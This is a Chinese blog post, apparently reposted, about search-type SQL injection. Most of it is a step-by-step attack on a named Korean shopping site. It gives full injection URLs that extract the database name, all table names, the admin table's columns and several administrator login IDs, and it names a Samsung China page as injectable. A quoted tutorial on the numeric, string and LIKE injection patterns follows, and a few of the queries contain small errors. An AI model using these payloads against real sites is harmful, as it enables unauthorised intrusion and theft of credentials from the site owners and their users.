搜索型注入的文章

帖幾個baidu出來的關於搜索型注入的文章。百度貨,不知道作者是哪個,感謝了先。。 ^_^
簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索',如果出錯,說明90%存在這個漏洞。然後搜索%,如果正常返回,說明95%有洞了。

然後再搜索一個關鍵字,比如2006吧,正常返回所有2006相關的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在異同的話,就是100%有洞了。

我這裏看出有上面說的洞後開始用nbsi來掃,結果總是超時,鬱悶,看來要手工來暴需要的信息了。。。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到當前數據庫賬號

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到當前數據庫名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回錯誤頁面,看來是沒有admin這個表了

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到當前數據庫的第一個表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到當前數據庫的第二個表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到當前數據庫的第三個表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次類推,得到所有的表

其實分析可以知道只有這個tbl_admin表纔是最重要的。接着開始暴列名。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin這個表裏的第一個列名c_employee_id

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin這個表裏的第二個列名c_employee_name

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin這個表裏的第三個列名c_password

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin這個表裏的第四個列名c_level

列名暴完畢了,嘿嘿,接着開始暴管理員賬號密碼了。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一個管理員的id爲943hoon

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二個管理員的id爲champ

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三個管理員的id爲clark

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四個管理員的id爲hskim

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五個管理員的id爲jajeong

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //這個語句是暴出管理員密碼的,可惜直接返回了正常頁面,鬱悶。。。。

一會再想別的辦法吧。。。。。
另外說下,2.3 的啊D支持搜索型的注入方式是:

一般網站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
構造注入語句 三星%'and 1=1 and '%'='
      三星%'and 1=2 and '%'='
大家看到了吧 兩個返回頁面是不一樣的 說明有注入的漏洞 特徵字 寫筆記本 就是三星%'and 1=1 and '%'=' 返回時有的

我們知道一般搜索代碼是這麼寫的:
Select * from 表名 where 字段 like ’%關鍵字%’
這樣就造成了對關鍵字前後的所有匹配(%是用來全部匹配的)
這裏如果關鍵字沒有過濾的話,就可以這樣來構造:
關鍵字=’ and [查詢條件] and ‘%25’=’
這樣查詢就變成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
這樣就很好的構成了一個sql注入點,當然用手工也可以,用nbsi也可以~~
注入是不分家的,沒必要什麼型什麼型的!~
如果不信,大家請看下面的《sql注入天書》的原話
第一節、SQL注入的一般步驟
首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。
其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分爲下面三種:
(A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
Select * from 表名 where 字段=49
注入的參數爲ID=49 And [查詢條件],即是生成語句:
Select * from 表名 where 字段=49 And [查詢條件]

(B) Class=連續劇這類注入的參數是字符型,SQL語句原貌大致概如下:
Select * from 表名 where 字段=’連續劇’
注入的參數爲Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’
(C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select * from 表名 where 字段like ’%關鍵字%’
注入的參數爲keyword=’ and [查詢條件] and ‘%25’=’,即是生成語句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

當然手工是麻煩的
用工具的話,我建議用nbsi的工具比較好,就我感覺只有nbsi結合了這個技術,用別的軟體是不能注入的
注入點只要寫:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加個特徵字符就可以了

發佈了1 篇原創文章 · 獲贊 5 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章